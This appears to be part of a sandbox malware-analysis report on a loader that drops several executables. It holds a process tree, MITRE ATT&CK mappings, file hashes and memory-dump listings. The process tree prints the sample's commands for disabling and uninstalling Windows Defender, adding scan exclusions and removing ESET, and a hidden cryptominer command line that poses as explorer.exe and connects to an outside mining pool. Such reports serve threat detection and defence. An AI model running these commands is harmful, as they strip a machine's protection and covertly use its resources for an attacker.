powershell -Command Set-Service WinDefend -StartupType Disabled & powershell -Command Uninstall-WindowsFeature -Name Windows-Defender & powershell -Command Remove-WindowsFeature Windows-Defender, Windows-Defender-GUI & Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet & Wmic Product where name="Eset Security" call uninstall & exit
        5⤵
        
        PID:3008
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        6⤵
        
        PID:2040
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        6⤵
        
        PID:2540
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        6⤵
        
        PID:2588
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        6⤵
        
        PID:1320
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableArchiveScanning $true
        6⤵
        
        PID:2468
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableBehaviorMonitoring $true
        6⤵
        
        PID:2528
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        
        PID:2204
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableScriptScanning $true
        6⤵
        
        PID:2040
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIntrusionPreventionSystem $true
        6⤵
        
        PID:1768
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -DisableIOAVProtection $true
        6⤵
        
        PID:596
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableControlledFolderAccess Disabled
        6⤵
        
        PID:2260
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -EnableNetworkProtection AuditMode -Force
        6⤵
        
        PID:2512
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -MAPSReporting Disabled
        6⤵
        
        PID:3036
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend
        6⤵
        
        PID:2844
      - C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        6⤵
        Launches sc.exe
        
        PID:1484
      - C:\Windows\system32\sc.exe
        
        sc stop WinDefend
        6⤵
        Launches sc.exe
        
        PID:2908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Stop-Service WinDefend
        6⤵
        
        PID:2684
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Set-Service WinDefend -StartupType Disabled
        6⤵
        
        PID:2480
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Uninstall-WindowsFeature -Name Windows-Defender
        6⤵
        
        PID:960
  - - C:\Windows\explorer.exe
      C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6056254 --pass=in --cpu-max-threads-hint=40 --donate-level=5 --cinit-idle-wait=1 --cinit-idle-cpu=80 --cinit-stealth
      4⤵
      PID:2460
- C:\Users\Admin\AppData\Local\Temp\Insidious.exe
  "C:\Users\Admin\AppData\Local\Temp\Insidious.exe"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2668

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\44\Process.txt

Filesize
440B

MD5
3a4efe132b702ae9c21a8d53715d6ba1

SHA1
abffa5dd1aa86f17ec0b943527f0720ce5b7995c

SHA256
409348d5acc18132d5fa8f257402639a21837221270427b4ac1b165879df0951

SHA512
f1a9b4ccd63b3238e34ec49a43ad275c74407aab10ba1469477907e0075552827e2602ce7479fc7675061bf5bd9ca94bb9547c8e18c0f3eebb6bef8de350ebb7

Download Submit
C:\Users\Admin\AppData\Local\Temp\66552BD4-46F3-4B75-A188-7A19821F1F24\DismHost.exe

Filesize
94KB

MD5
9a821d8d62f4c60232b856e98cba7e4f

SHA1
4ec5dcbd43ad3b0178b26a57b8a2f41e33a48df5

SHA256
a5b3bf53bcd3c0296498383837e8f9eb7d610c535521315a96aa740cf769f525

SHA512
1b5273a52973dac77ad0ef7aa1dda929a782d762ab8489eb90dff1062dd4cc01e4f7f4157266a2abcf8941e91cf4aa5603de1dd8ee871524748e0989ebaa37d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Insidious.exe

Filesize
274KB

MD5
98851f9b3a0194a53f26c8d5da31b4c8

SHA1
8ba83d9220a991c7a190f0c312eb8cee9197e7b0

SHA256
2b2fc85878d79634dd37270508473cf44d14513ac58ce60c5506973f3c95255a

SHA512
9cf9141f25b0852e3e7aacfcbb7fe7458694c6297bc47e1f7203ad710615858743d84e4e757f4cc38fad83e97450e6f18ab0a7824b77104c78d393dca3a4ad01

Download Submit
C:\Users\Admin\AppData\Local\Temp\Interia loader.exe

Filesize
2.2MB

MD5
05c2064ebb4a3843acca2b5546765486

SHA1
28c94d8bf7227ce33ee65d93836b2eab4f410331

SHA256
694278b58b49d1918e6f5d5d4f5dfc1217bf135bfab3e051d05c8aaa4fb7f271

SHA512
27375ffe855615c008f00350816efd5233e17088a5aa04e5e3e30d57644c5d21ed59d4cf9e28d3ea33c491486aa4c7128bc5a1283403d33d32057d4ca4d73c8e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b1ef2adc59605464f993ae4ae19965b6

SHA1
4d61861692960dc0aba2302fd04d8c9294d3b53b

SHA256
2a5d982af6c724187a2fea965909d9b955a75048a76a19e56657997484173908

SHA512
f17d41fa484daece87c45e59ee06c8cc49ce635202fc4dff860992a09dbfea89fb13a8f9439f637963e6903ce5ae25555b2a47257ff8e97d426a6b255827507f

Download Submit
C:\Users\Admin\AppData\Roaming\Services.exe

Filesize
1.9MB

MD5
59d61f1d74ee36474220fc6e678ebb2b

SHA1
7a8eb053424eaa7bd31634fce9dc5a8b3b7ca00e

SHA256
ca1f61af0aed8ad77e9f936857614640b168fd1ee18ad8c5d2ba1346dcb06860

SHA512
bd59ec90c6f66987ec9e14aaca06580679e6c7d5e782fa4eb88ec8fa3a6eac429ca7be7e755af2f826f3f4464aa8afb66fd0a46e6ce7b19a2ee1e298e171e0a5

Download Submit
C:\Windows\Logs\DISM\dism.log

Filesize
176KB

MD5
4762bae4c8d7e1a9a7accdb9c263e1de

SHA1
fadc61af24d479a4a8651c59f2890affb6886139

SHA256
bc273afdeaa7951debbfa1392fe226a38cf89a3fd5b379ce156b7b395ff182f9

SHA512
7ee83b080806034d453ff9382b7c65e828e8ec62888cf3a6420be37a40b9519c3f80a41b30893b59d4aef90445a75a2e57e9ecddfdb1b70e844c630e35a7ba17

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
17KB

MD5
f8f848e3792f47b86ac397288fa3f8d7

SHA1
7c4371e46bab5b65d893cacedd03eca1fa33a72b

SHA256
5108a3c3f21488e613fc543c900fcc9874e10677621389573f049bd92fab6061

SHA512
b2371a5109662b975a80839bdc14d1605e310425d56d42058ac5dbc69c7538dc208f175c5025b6646590e4e4826e286ab794cfc01b9d38fbb1db098ca1229c0a

Download Submit
memory/604-120-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/604-121-0x000007FEED740000-0x000007FEEE0DD000-memory.dmp

Filesize
9.6MB

Download
memory/604-124-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/604-123-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/604-122-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/604-118-0x000007FEED740000-0x000007FEEE0DD000-memory.dmp

Filesize
9.6MB

Download
memory/604-126-0x000007FEED740000-0x000007FEEE0DD000-memory.dmp

Filesize
9.6MB

Download
memory/844-104-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/844-105-0x000007FEEE0E0000-0x000007FEEEA7D000-memory.dmp

Filesize
9.6MB

Download
memory/844-108-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/844-110-0x000007FEEE0E0000-0x000007FEEEA7D000-memory.dmp

Filesize
9.6MB

Download
memory/844-103-0x000007FEEE0E0000-0x000007FEEEA7D000-memory.dmp

Filesize
9.6MB

Download
memory/844-109-0x000000000252B000-0x0000000002592000-memory.dmp

Filesize
412KB

Download
memory/844-106-0x0000000002520000-0x00000000025A0000-memory.dmp

Filesize
512KB

Download
memory/1380-148-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/1380-144-0x000007FEEEDD0000-0x000007FEEF76D000-memory.dmp

Filesize
9.6MB

Download
memory/1380-145-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/1380-146-0x000007FEEEDD0000-0x000007FEEF76D000-memory.dmp

Filesize
9.6MB

Download
memory/1380-147-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/1380-150-0x000007FEEEDD0000-0x000007FEEF76D000-memory.dmp

Filesize
9.6MB

Download
memory/1700-156-0x000007FEF2550000-0x000007FEF2EED000-memory.dmp

Filesize
9.6MB

Download
memory/1700-157-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/1700-158-0x000007FEF2550000-0x000007FEF2EED000-memory.dmp

Filesize
9.6MB

Download
memory/1700-159-0x000007FEF2550000-0x000007FEF2EED000-memory.dmp

Filesize
9.6MB

Download
memory/1700-160-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2448-19-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2448-0-0x0000000000390000-0x00000000005E0000-memory.dmp

Filesize
2.3MB

Download
memory/2448-2-0x000000001B580000-0x000000001B600000-memory.dmp

Filesize
512KB

Download
memory/2448-1-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2460-884-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-892-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1233-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-887-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1232-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-886-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1224-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-888-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-889-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-890-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1021-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-891-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1020-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1022-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1019-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1013-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1008-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1009-0x00000000001E0000-0x0000000000200000-memory.dmp

Filesize
128KB

Download
memory/2460-1003-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-918-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-885-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-1002-0x000007FFFFFD4000-0x000007FFFFFD5000-memory.dmp

Filesize
4KB

Download
memory/2460-975-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2460-999-0x0000000140000000-0x0000000140758000-memory.dmp

Filesize
7.3MB

Download
memory/2604-89-0x000007FEED740000-0x000007FEEE0DD000-memory.dmp

Filesize
9.6MB

Download
memory/2604-88-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2604-91-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2604-90-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2604-92-0x000007FEED740000-0x000007FEEE0DD000-memory.dmp

Filesize
9.6MB

Download
memory/2604-93-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2604-94-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2604-96-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2604-97-0x000007FEED740000-0x000007FEEE0DD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-45-0x000007FEEE0E0000-0x000007FEEEA7D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-50-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2664-82-0x000007FEEE0E0000-0x000007FEEEA7D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-49-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2664-48-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2664-43-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2664-47-0x000007FEEE0E0000-0x000007FEEEA7D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-44-0x0000000002430000-0x0000000002438000-memory.dmp

Filesize
32KB

Download
memory/2664-46-0x0000000002950000-0x00000000029D0000-memory.dmp

Filesize
512KB

Download
memory/2668-20-0x00000000000B0000-0x00000000000FA000-memory.dmp

Filesize
296KB

Download
memory/2668-18-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2668-113-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2668-107-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2712-125-0x000000001C0A0000-0x000000001C2C0000-memory.dmp

Filesize
2.1MB

Download
memory/2712-10-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2712-21-0x000000001BC00000-0x000000001BC80000-memory.dmp

Filesize
512KB

Download
memory/2712-11-0x000000013FBC0000-0x000000013FDEC000-memory.dmp

Filesize
2.2MB

Download
memory/2712-119-0x000000001BC00000-0x000000001BC80000-memory.dmp

Filesize
512KB

Download
memory/2712-95-0x000007FEF51F0000-0x000007FEF5BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2912-136-0x000007FEF2550000-0x000007FEF2EED000-memory.dmp

Filesize
9.6MB

Download
memory/2912-133-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2912-132-0x000007FEF2550000-0x000007FEF2EED000-memory.dmp

Filesize
9.6MB

Download
memory/2912-135-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2912-134-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2912-137-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2912-138-0x000007FEF2550000-0x000007FEF2EED000-memory.dmp

Filesize
9.6MB

Download